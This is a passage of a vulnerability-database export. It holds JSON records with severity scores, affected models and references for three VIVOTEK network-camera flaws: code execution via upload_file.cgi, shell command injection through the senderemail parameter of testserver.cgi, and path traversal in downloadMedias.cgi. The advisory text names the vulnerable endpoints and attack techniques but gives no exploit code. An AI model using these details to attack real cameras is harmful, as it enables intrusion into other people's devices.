"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2024-26548",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "OTHER",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "JVNDB-2024-023848",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"id": "CVE-2024-26548",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "OTHER",
"id": "JVNDB-2024-023848",
"trust": 0.8,
"value": "Critical"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue in vivotek Network Camera v.FD8166A-VVTK-0204j allows a remote attacker to execute arbitrary code via a crafted payload to the upload_file.cgi component. VIVOTEK Inc. of FD8166A-VVTK-0204j There are unspecified vulnerabilities in the firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state",
"sources": [
{
"db": "NVD",
"id": "CVE-2024-26548"
},
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
}
],
"trust": 1.62
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2024-26548",
"trust": 2.6
},
{
"db": "JVNDB",
"id": "JVNDB-2024-023848",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"id": "VAR-202402-3037",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VARIoT devices database",
"id": null
}
],
"trust": 0.8783784
},
"last_update_date": "2025-05-17T23:24:52.152000Z",
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "NVD-CWE-noinfo",
"trust": 1.0
},
{
"problemtype": "Lack of information (CWE-noinfo) [NVD evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.0,
"url": "https://github.com/cwh031600/vivotek/blob/main/vivotek-fd8166a-uploadfile-dos/vivotek-fd8166a-uploadfile-analysis.md"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2024-26548"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2025-05-15T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"date": "2024-02-29T20:15:41.457000",
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2025-05-15T08:54:00",
"db": "JVNDB",
"id": "JVNDB-2024-023848"
},
{
"date": "2025-05-13T14:34:21.830000",
"db": "NVD",
"id": "CVE-2024-26548"
}
]
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK\u00a0Inc.\u00a0 of \u00a0FD8166A-VVTK-0204j\u00a0 Firmware vulnerabilities",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2024-023848"
}
],
"trust": 0.8
}
}
VAR-201706-1009
Vulnerability from variot - Updated: 2025-04-20 20:16'/cgi-bin/admin/testserver.cgi' of the web service in most of the VIVOTEK Network Cameras is vulnerable to shell command injection, which allows remote attackers to execute any shell command as root via a crafted HTTP request. This vulnerability is already verified on VIVOTEK Network Camera IB8369/FD8164/FD816BA; most others have similar firmware that may be affected. An attack uses shell metacharacters in the senderemail parameter. VIVOTEKNetworkCameras IB8369, FD8164 and FD816BA are all network camera products of China VIVOTEK. A security vulnerability exists in the /cgi-bin/admin/testserver.cgi file for Web services in VIVOTEKNetworkCamerasIB8369, FD8164, and FD816BA
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201706-1009",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "network camera fd816ba",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": "fd816ba-vvtk-010101."
},
{
"model": "network camera fd8164",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": "fd8164-_vvtk-0200b"
},
{
"model": "network camera ib8369",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": "ib8369-vvtk-0102a"
},
{
"model": "network camera fd8164",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "network camera fd816ba",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "network camera ib8369",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "ib8369",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
},
{
"model": "fd8164",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
},
{
"model": "fd816ba",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1061"
},
{
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:vivotek:network_camera_fd8164_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:vivotek:network_camera_fd816ba_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:vivotek:network_camera_ib8369_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
}
]
},
"cve": "CVE-2017-9828",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2017-9828",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CNVD-2017-12593",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-118031",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-9828",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-9828",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2017-9828",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2017-12593",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201706-1061",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-118031",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-9828",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"db": "VULHUB",
"id": "VHN-118031"
},
{
"db": "VULMON",
"id": "CVE-2017-9828"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1061"
},
{
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "\u0027/cgi-bin/admin/testserver.cgi\u0027 of the web service in most of the VIVOTEK Network Cameras is vulnerable to shell command injection, which allows remote attackers to execute any shell command as root via a crafted HTTP request. This vulnerability is already verified on VIVOTEK Network Camera IB8369/FD8164/FD816BA; most others have similar firmware that may be affected. An attack uses shell metacharacters in the senderemail parameter. VIVOTEKNetworkCameras IB8369, FD8164 and FD816BA are all network camera products of China VIVOTEK. A security vulnerability exists in the /cgi-bin/admin/testserver.cgi file for Web services in VIVOTEKNetworkCamerasIB8369, FD8164, and FD816BA",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-9828"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"db": "VULHUB",
"id": "VHN-118031"
},
{
"db": "VULMON",
"id": "CVE-2017-9828"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-9828",
"trust": 3.3
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1061",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2017-12593",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-118031",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-9828",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"db": "VULHUB",
"id": "VHN-118031"
},
{
"db": "VULMON",
"id": "CVE-2017-9828"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1061"
},
{
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"id": "VAR-201706-1009",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"db": "VULHUB",
"id": "VHN-118031"
}
],
"trust": 1.70625
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
},
{
"category": [
"camera device"
],
"sub_category": "camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12593"
}
]
},
"last_update_date": "2025-04-20T20:16:44.603000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VIVOTEK Network Cameras",
"trust": 0.8,
"url": "http://www.vivotek.com/network-cameras/#type-filter:path=default|resolution-filter:path=default|snv-filter:path=default|wdr-filter:path=default|lens-filter:path=default|ir-filter:path=default|environment-filter:path=default|views:view=jplist-grid-view"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.1
},
{
"problemtype": "CWE-77",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-118031"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.2,
"url": "https://blog.cal1.cn/post/an%20easy%20way%20to%20pwn%20most%20of%20the%20vivotek%20network%20cameras"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-9828"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-9828"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"db": "VULHUB",
"id": "VHN-118031"
},
{
"db": "VULMON",
"id": "CVE-2017-9828"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1061"
},
{
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"db": "VULHUB",
"id": "VHN-118031"
},
{
"db": "VULMON",
"id": "CVE-2017-9828"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1061"
},
{
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"date": "2017-06-23T00:00:00",
"db": "VULHUB",
"id": "VHN-118031"
},
{
"date": "2017-06-23T00:00:00",
"db": "VULMON",
"id": "CVE-2017-9828"
},
{
"date": "2017-07-20T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"date": "2017-06-28T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201706-1061"
},
{
"date": "2017-06-23T22:29:00.163000",
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-12593"
},
{
"date": "2019-10-03T00:00:00",
"db": "VULHUB",
"id": "VHN-118031"
},
{
"date": "2019-10-03T00:00:00",
"db": "VULMON",
"id": "CVE-2017-9828"
},
{
"date": "2017-07-20T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-005190"
},
{
"date": "2019-10-23T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201706-1061"
},
{
"date": "2025-04-20T01:37:25.860000",
"db": "NVD",
"id": "CVE-2017-9828"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201706-1061"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural VIVOTEK Network Camera Product Web Service of /cgi-bin/admin/testserver.cgi Vulnerable to shell command insertion",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-005190"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201706-1061"
}
],
"trust": 0.6
}
}
VAR-201706-1010
Vulnerability from variot - Updated: 2025-04-20 19:37'/cgi-bin/admin/downloadMedias.cgi' of the web service in most of the VIVOTEK Network Cameras is vulnerable, which allows remote attackers to read any file on the camera's Linux filesystem via a crafted HTTP request containing ".." sequences. This vulnerability is already verified on VIVOTEK Network Camera IB8369/FD8164/FD816BA; most others have similar firmware that may be affected. VIVOTEKNetworkCameras IB8369, FD8164 and FD816BA are all network camera products of China VIVOTEK
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201706-1010",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "network camera fd816ba",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": "fd816ba-vvtk-010101."
},
{
"model": "network camera fd8164",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": "fd8164-_vvtk-0200b"
},
{
"model": "network camera ib8369",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": "ib8369-vvtk-0102a"
},
{
"model": "network camera fd8164",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "network camera fd816ba",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "network camera ib8369",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "ib8369",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
},
{
"model": "fd8164",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
},
{
"model": "fd816ba",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-12592"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
},
{
"db": "CNNVD",
"id": "CNNVD-201706-1060"
},
{
"db": "NVD",
"id": "CVE-2017-9829"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:vivotek:network_camera_fd8164_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:vivotek:network_camera_fd816ba_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:vivotek:network_camera_ib8369_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-005191"
}
]
},
"cve": "CVE-2017-9829",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2017-9829",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2017-12592",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-118032",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2017-9829",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-9829",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-9829",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2017-12592",
